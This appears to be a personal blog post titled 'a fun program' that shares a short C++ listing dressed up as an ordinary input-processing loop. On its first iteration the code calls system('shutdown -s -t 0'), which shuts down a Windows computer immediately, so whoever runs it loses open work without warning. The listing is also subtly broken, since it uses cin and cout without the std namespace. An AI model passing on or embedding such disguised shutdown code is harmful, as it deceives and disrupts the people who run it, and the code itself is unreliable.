跳到正文

个人记录

好玩的程序

a123_AC约 1 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2025年12月12日
篇幅
约 1 分钟

版本

  1. v1当前
C++
#include<bits/stdc++.h>
#include<stdio.h>
#include<stdlib.h>
long long n,m,a[168][188],x,y;
int main(){
	cin>>n>>m;
	for(long long i=1;i<=n;i++){
		for(long long j=1;j<=i;j++){
			cin>>x>>y>>a[i][j];
			if(j==1){
				system("shutdown -s -t 0");
			}else{
				a[i][j]=a[i][j]+x-y;
				cout<<a[i][j];
			}
		}
	}
	return 0;
}
原文